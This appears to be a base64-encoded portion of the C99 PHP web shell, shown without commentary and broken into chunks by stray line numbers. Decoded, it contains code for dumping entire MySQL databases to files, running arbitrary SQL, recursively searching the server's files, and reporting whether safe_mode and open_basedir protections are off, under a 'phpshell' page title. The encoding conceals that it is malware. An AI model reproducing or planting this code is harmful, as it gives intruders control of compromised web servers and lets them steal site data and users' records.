sKICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiAkcmV0ID0gYXJyYXkoKTsKICRyZXRbImVyci JdID0gYXJyYXkoKTsKIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jay BpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQogaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30KIG lmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9CiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJici A9IDA7fQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KIGlmIChlbXB0eS gkZmlsZSkpCiB7CiAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLi JfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwogfQogaWYgKCFpc19hcnJheSgkdG FicykpIHskdGFicyA9IGFycmF5KCk7fQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPS BUUlVFO30KIGlmIChzaXplb2YoJHRhYnMpID09IDApCiB7CiAgLy8gcmV0cml2ZSB0YWJsZXMtbGlzdA ogICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOwogIGlmIC hteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygkcm VzKSkgeyR0YWJzW10gPSAkcm93WzBdO319CiB9CiAkb3V0ID0gIiMgRHVtcGVkIGJ5IEM5OVNoZWxsLl NRTCB2LiAiLiRzaHZlci4iCiMgSG9tZSBwYWdlOiBodHRwOi8vY2N0ZWFtLnJ1CiMKIyBIb3N0IHNldH RpbmdzOgojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbm cgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLi IKIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIgojIERCOiBcIiIuJGRiLiJcIgojLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiI7CiAkYyA9IG NvdW50KCRvbmx5dGFicyk7CiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpCiB7CiAgaWYgKChpbl9hcnJheS gkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKQogIHsKICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIk RST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30KICAgLy8gcmVjaWV2ZSBxdWVyeSBmb3 IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIF RBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7CiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteX NxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJH Jlcyk7CiAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YX JpYWJsZXMKICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jay k7CiAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKQogICAgewogICAgIHdoaWxlICgkcm93I D0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpCiAgICAgewogICAgICAka2V5cyA9IGltcGxvZGUoImAsI GAiLCBhcnJheV9rZXlzKCRyb3cpKTsKICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKI CAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkd ik7fQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwogICAgICAkc3FsID0gI klOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7C iAgICAgICRvdXQgLj0gJHNxbDsKICAgICB9CiAgICB9CiAgIH0KICB9CiB9CiAkb3V0IC49ICIjLS0tL S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL S0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7CiBpZiAoJGZpbGUpCiB7CiAgJGZwID0gZm9wZW4oJGZpbGUsI
7.
CJ3Iik7CiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CiAgZWxzZQogIHsKICAgZndyaXRlI CgkZnAsICRvdXQpOwogICBmY2xvc2UgKCRmcCk7CiAgfQogfQogaWYgKCRwcmludCkge2lmICgkbmwyY nIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiByZXR1cm4gJG91dDsKfQp9C mlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpCnsKZnVuY3Rpb24gbXlzcWxfY nVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKQp7CiBpZiAoIWlzX2Fyc mF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30KICRyZXN1bHQgPSAiIjsKIGZvcmVhY2goJGFyc mF5IGFzICRrPT4kdikKIHsKICAkdmFsdWUgPSAiIjsKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkge yR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuI iciOwogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiAgJHJlc3VsdCAuP SAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOwogfQogJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc 3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiByZXR1cm4gJHJlc3VsdDsKfQp9CmlmICghZnVuY 3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwiKSkKewpmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJ HF1ZXJ5LCRzb2NrKQp7CiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb 2NrKTt9CiBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAkYXJyYXkgPSBhcnJhe SgpOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJ HJvdzt9CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIHJldHVybiAkYXJyYXk7Cn0KfQppZiAoI WZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQp7CmZ1bmN0aW9uIG15c3FsX3NtYXJ0Z XJyb3IoJHR5cGUsJHNvY2spCnsKIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrK Tt9CiBlbHNlIHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30KICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhc nMoJGVycm9yKTsKIHJldHVybiAkZXJyb3I7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc XVlcnlfZm9ybSIpKQp7CmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQp7CiBnbG9iYWwgJHN1Ym1pd Cwkc3FsX2FjdCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1Z XJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3Vsd CkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lc nJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1Z XJ5X2Vycm9yLiI8YnI+Ijt9CiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pK SB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQogaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkKIHsKI CBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYzk5c2hfc3FscXVlcnlcI iBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiR G8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iP jxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY 2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuI G5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPXF1Z XJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhc nMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+P GlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoY XJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlP VwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iO wogIGlmICgkdGJsX3N0cnVjdCkKICB7CiAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZ HM6PC9iPjxicj4iOwogICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRma WVsZFsiRmllbGQiXTsgZWNobyAiuyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5jOTlza F9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iP jwvYT48YnI+Ijt9CiAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgfQogfQogaWYgKCRzcWxfc XVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlc nk7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQp7CmZ1bmN0aW9uI G15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpCnsKICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiL mFkZHNsYXNoZXMoJGRiKS4iYDsiOwogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJ HNvY2spO30KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KfQppZiAoIWZ1bmN0aW9uX 2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkKewpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkc XVlcnkpCnsKICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsKICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5K TsKIC8qYXJyYXkgYXJyYXkoKQogewogICJNRVRIT0QiPT5hcnJheShvdXRwdXRfdHlwZSksCiAgIk1FV EhPRDEiLi4uCiAgLi4uCiB9CiBpZiBvdXRwdXRfdHlwZSA9PSAwLCBubyBvdXRwdXQsCiBpZiBvdXRwd XRfdHlwZSA9PSAxLCBubyBvdXRwdXQgaWYgbm8gZXJyb3IKIGlmIG91dHB1dF90eXBlID09IDIsIG91d HB1dCB3aXRob3V0IGNvbnRyb2wtYnV0dG9ucwogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpd GggY29udHJvbC1idXR0b25zCiAqLwogJHR5cGVzID0gYXJyYXkoCiAgIlNFTEVDVCI9PmFycmF5KDMsM SksCiAgIlNIT1ciPT5hcnJheSgyLDEpLAogICJERUxFVEUiPT5hcnJheSgxKSwKICAiRFJPUCI9PmFyc mF5KDEpCiApOwogJHJlc3VsdCA9IGFycmF5KCk7CiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwoga WYgKGlzX2FycmF5KCR0eXBlc1skb3BdKSkKIHsKICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5c GVzWyRvcF07CiAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7CiAgaWYgKCR0eXBlc1skb3BdID09I DIpCiAgewogICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KQogICB7CiAgICBpZiAoc3RydG91cHBlcigkd ikgPT0gIkxJTUlUIikKICAgIHsKICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsKICAgI CAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3VsdFsibGltaXQiXSk7CiAgICAgaWYgK GNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkc mVzdWx0WyJsaW1pdCJdWzBdKTt9CiAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7CiAgICB9C
8.
iAgIH0KICB9CiB9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoI mM5OWZzZWFyY2giKSkKewpmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKQp7CiBnbG9iYWwgJGZvdW5kOwogZ 2xvYmFsICRmb3VuZF9kOwogZ2xvYmFsICRmb3VuZF9mOwogZ2xvYmFsICRzZWFyY2hfaV9mOwogZ2xvY mFsICRzZWFyY2hfaV9kOwogZ2xvYmFsICRhOwogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX 1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogJGggPSBvcGVuZGlyKCRkKTsKI HdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogewogIGlmKCRmICE9ICIuIiAmJiAkZ iAhPSAiLi4iKQogIHsKICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb 3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJ GFbIm5hbWUiXSwkZikpOwogICBpZiAoaXNfZGlyKCRkLiRmKSkKICAgewogICAgJHNlYXJjaF9pX2QrK zsKICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZ m91bmRfZCsrO30KICAgIGlmICghaXNfbGluaygkZC4kZikpIHtjOTlmc2VhcmNoKCRkLiRmKTt9CiAgI H0KICAgZWxzZQogICB7CiAgICAkc2VhcmNoX2lfZisrOwogICAgaWYgKCRib29sKQogICAgewogICAgI GlmICghZW1wdHkoJGFbInRleHQiXSkpCiAgICAgewogICAgICAkciA9IEBmaWxlX2dldF9jb250ZW50c ygkZC4kZik7CiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkY VsidGV4dCJdKS4iICI7fQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3Ryd G9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9CiAgICAgIGlmICgkYVsidGV4d F9yZWdleHAiXSkgeyRib29sID0gZXJlZygkYVsidGV4dCJdLCRyKTt9CiAgICAgIGVsc2UgeyRib29sI D0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30KICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7J GJvb2wgPSAhJGJvb2w7fQogICAgICBpZiAoJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZ isrO30KICAgICB9CiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICB9C iAgIH0KICB9CiB9CiBjbG9zZWRpcigkaCk7Cn0KfQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc 19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpc m5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQovL1NlbmRpbmcgaGVhZGVycwpAb2Jfc3RhcnQoK TsKQG9iX2ltcGxpY2l0X2ZsdXNoKDApOwpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkKewogZ2xvYmFsI CRnemlwZW5jb2RlLCRmdDsKIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAha W5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpCiB7CiAgJHYgPSBAb 2JfZ2V0X2NvbnRlbnRzKCk7CiAgQG9iX2VuZF9jbGVhbigpOwogIEBvYl9zdGFydCgib2JfZ3pIYW5kb GVyIik7CiAgZWNobyAkdjsKICBAb2JfZW5kX2ZsdXNoKCk7CiB9Cn0KZnVuY3Rpb24gYzk5c2hleGl0K CkKewogb25waHBzaHV0ZG93bigpOwogZXhpdDsKfQpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsI DE5OTcgMDU6MDA6MDAgR01UIik7CmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgT SBZIEg6aTpzIikuIiBHTVQiKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2Fja GUsIG11c3QtcmV2YWxpZGF0ZSIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgc HJlLWNoZWNrPTAiLCBGQUxTRSk7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwppZiAoZW1wdHkoJ HRtcGRpcikpCnsKICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOwogaWYgKGlzX2Rpc igkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30KfQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpc ik7CiR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7C mlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gR ElSRUNUT1JZX1NFUEFSQVRPUjt9CmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzI D0gJHRtcGRpcjt9CmVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQppZ iAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpK SA9PSAib24iKQp7CiAkc2FmZW1vZGUgPSBUUlVFOwogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZ WQ+T04gKHNlY3VyZSk8L2ZvbnQ+IjsKfQplbHNlIHskc2FmZW1vZGUgPSBGQUxTRTsgJGhzYWZlbW9kZ SA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQokdiA9IEBpbmlfZ 2V0KCJvcGVuX2Jhc2VkaXIiKTsKaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3Blb mJhc2VkaXIgPSBUUlVFOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2Zvb nQ+Ijt9CmVsc2UgeyRvcGVuYmFzZWRpciA9IEZBTFNFOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvb G9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9CiRzb3J0ID0gaHRtbHNwZWNpYWxjaGFyc ygkc29ydCk7CmlmIChlbXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQokc29ydFsxX SA9IHN0cnRvbG93ZXIoJHNvcnRbMV0pOwokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFU lZFUl9TT0ZUV0FSRSIpOwppZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU 09GVFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9C iRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhI GhyZWY9XCIiLiRzdXJsLiJhY3Q9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8i LnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9T T0ZUV0FSRSkpOwpAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsgLy9GRkZGRkYK QGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDAK QGluaV9zZXQoImhpZ2hsaWdodC5kZWZhdWx0IiwkaGlnaGxpZ2h0X2RlZmF1bHQpOyAvLyMwMDAwQkIK QGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOyAvLyMwMDAwMDAKQGluaV9z ZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDAKQGluaV9z ZXQoImhpZ2hsaWdodC5zdHJpbmciLCRoaWdobGlnaHRfc3RyaW5nKTsgLy8jREQwMDAwCmlmICghaXNf YXJyYXkoJGFjdGJveCkpIHskYWN0Ym94ID0gYXJyYXkoKTt9CiRkc3BhY3QgPSAkYWN0ID0gaHRtbHNw ZWNpYWxjaGFycygkYWN0KTsKJGRpc3BfZnVsbHBhdGggPSAkbHNfYXJyID0gJG5vdGxzID0gbnVsbDsK JHVkID0gdXJsZW5jb2RlKCRkKTsKPz48aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50 LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTEiPjxtZXRhIGh0dHAt
9.
ZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj48dGl0bGU+PD9waHAgZWNobyBn ZXRlbnYoIkhUVFBfSE9TVCIpOyA/PiAtIHBocHNoZWxsPC90aXRsZT48U1RZTEU+VEQgeyBGT05ULVNJ WkU6IDhwdDsgQ09MT1I6ICNlYmViZWI7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Nyb2xs YmFyLWZhY2UtY29sb3I6ICM4MDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNj cm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAj MTAxMDEwOyBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLXRyYWNr LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZvbnQtZmFtaWx5 OiBWZXJkYW5hO31URC5oZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05ULVNJWkU6IDEwcHQ7 IEJBQ0tHUk9VTkQ6ICM3ZDc0NzQ7IENPTE9SOiB3aGl0ZTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUEg eyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2RhZGFkYTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7 IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09M T1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEu TGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzOnVua25v d24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBu b25lO31BOmhvdmVyIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogdW5kZXJsaW5lO30u c2tpbjB7cG9zaXRpb246YWJzb2x1dGU7IHdpZHRoOjIwMHB4OyBib3JkZXI6MnB4IHNvbGlkIGJsYWNr OyBiYWNrZ3JvdW5kLWNvbG9yOm1lbnU7IGZvbnQtZmFtaWx5OlZlcmRhbmE7IGxpbmUtaGVpZ2h0OjIw cHg7IGN1cnNvcjpkZWZhdWx0OyB2aXNpYmlsaXR5OmhpZGRlbjs7fS5za2luMXtjdXJzb3I6IGRlZmF1 bHQ7IGZvbnQ6IG1lbnV0ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAxNDVweDsgYmFja2dy b3VuZC1jb2xvcjogbWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1dHRvbmZhY2U7dmlzaWJpbGl0eTpoaWRk ZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxpZ2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxH ZW5ldmEsIEFyaWFsOyBmb250LXNpemU6IDEwcHg7IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRk aW5nLWxlZnQ6MTVweDsgcGFkZGluZy1yaWdodDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xvcjog IzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21h OyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAw MDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3Jk ZXI6IDEgc29saWQgIzY2NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQt c2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNv bGlkICM2NjY2NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhw dDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2 NjY2O31vcHRpb24ge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xv cjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWlm cmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZG 